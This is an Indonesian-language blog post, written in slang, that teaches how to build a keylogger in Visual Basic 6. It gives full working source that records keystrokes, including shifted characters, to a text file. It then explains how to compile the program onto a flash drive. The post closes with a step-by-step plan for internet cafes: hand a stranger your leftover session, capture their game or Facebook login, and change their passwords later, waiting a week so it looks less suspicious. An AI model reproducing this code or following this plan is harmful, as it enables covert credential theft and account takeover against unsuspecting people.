cara bikin keylogger termudah
download vb 6.0 disini
buka visual basic 6 portable
bikin 1 buah timer
ubah intervalnya jadi 1
mulai utak-atik script
klik kanan di form -> view code
truss pencet ctrl+a truss delete
tingal copiin script dibawah
dari option smpe end sub copy semua jangan ampe kelewat
Option Explicit
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
Private Type aArry
kode As Integer
bawah As String
atas As String
End Type
Private Arry(1 To 255) As aArry
Private IdxArry As Integer
Private FileName As String
Private Sub ApplyCharacter(kode As Integer, atas As String, bawah As String)
IdxArry = IdxArry + 1
Arry(IdxArry).kode = kode
Arry(IdxArry).atas = atas
Arry(IdxArry).bawah = bawah
End Sub
Private Sub SetCharacter()
Dim i As Integer
For i = 65 To 90
ApplyCharacter i, Chr(i), Chr(i + 32)
Next i
ApplyCharacter 8, "", "[backspace]" + vbNewLine
ApplyCharacter 9, "", "" + vbNewLine
ApplyCharacter 13, "", "" + vbNewLine + vbNewLine
ApplyCharacter 48, ")", "0"
ApplyCharacter 190, ">", "."
ApplyCharacter 189, "_", "-"
ApplyCharacter 49, "!", "1"
ApplyCharacter 50, "@", "2"
ApplyCharacter 51, "#", "3"
ApplyCharacter 52, "$", "4"
ApplyCharacter 53, "%", "5"
ApplyCharacter 54, "^", "6"
ApplyCharacter 55, "&", "7"
ApplyCharacter 56, "*", "8"
ApplyCharacter 57, "(", "9"
ApplyCharacter &H60, "", "0"
ApplyCharacter &H61, "", "1"
ApplyCharacter &H62, "", "2"
ApplyCharacter &H63, "", "3"
ApplyCharacter &H64, "", "4"
ApplyCharacter &H65, "", "5"
ApplyCharacter &H66, "", "6"
ApplyCharacter &H67, "", "7"
ApplyCharacter &H68, "", "8"
ApplyCharacter &H69, "", "9"
ApplyCharacter Asc(" "), " ", " "
End Sub
Private Sub Form_Load()
FileName = "\Yustan.txt"
SetCharacter
End Sub
Private Sub CreateLog(Isi As String)
Dim Data As String
Dim FileHandler As Long
If (Dir(App.Path & FileName) <> "") Then
FileHandler = FreeFile
Open App.Path & FileName For Input As #FileHandler
Data = Input(LOF(FileHandler) - 2, #FileHandler)
Close #FileHandler
End If
FileHandler = FreeFile
Open App.Path & FileName For Output As #FileHandler
Print #FileHandler, Data & Isi
Close #FileHandler
End Sub
Private Sub Timer1_Timer()
Dim i As Integer
Dim a, b As Integer
For i = LBound(Arry) To UBound(Arry)
a = GetAsyncKeyState(Arry(i).kode)
b = GetAsyncKeyState(16)
If (a = -32767) Then
If (b = -32768) Then
CreateLog Arry(i).atas
Else
CreateLog Arry(i).bawah
End If
Exit For
End If
Next
End Sub
cara bikin file exe nya
klik file
make project1.exe
disimpen deh di flashdisk
dan siap digunakan
cara menggunakan:
1 ) dateng ke warnet pagi2
2 ) maen 1 jam
3 ) pas waktu'a tinggal 15 menit lagi
4 ) colokin flashdisk yang ada keylogger'a
5 ) jalanin keylogger'a
6 ) dah gitu kan pasti dah ada yang ngebooking kompi agan(soal'a rata2 orong ngenet jam 11 an)
7 ) tinggal lu ngomong "eh... mau maen bukan nih ada waktu 10 menitan lagi pake aja" jang dlu agan cabut flashdisk'a
8 ) klo orang penggemar game biasanya pas maen ga liat klo ada flashdisk yang nempel di kompi'a
9 ) pas dia dah loggin game atau facebook, lu tinggal ngomong (maaf flashdisk'a ketinggalan)
10) terakhir selamat ganta password game atau facebook di warnet lain
saran *lebih baik lu hack'a tunggu seminggu dlu biar ga mencurigakan
hasil log'a ada di yustan.txt yang ada ada sefolder sama software'a
klo mau download hasil buatan w bisa download disini
semoga bermanfaat
← Prev
0 komentar:
Posting Komentar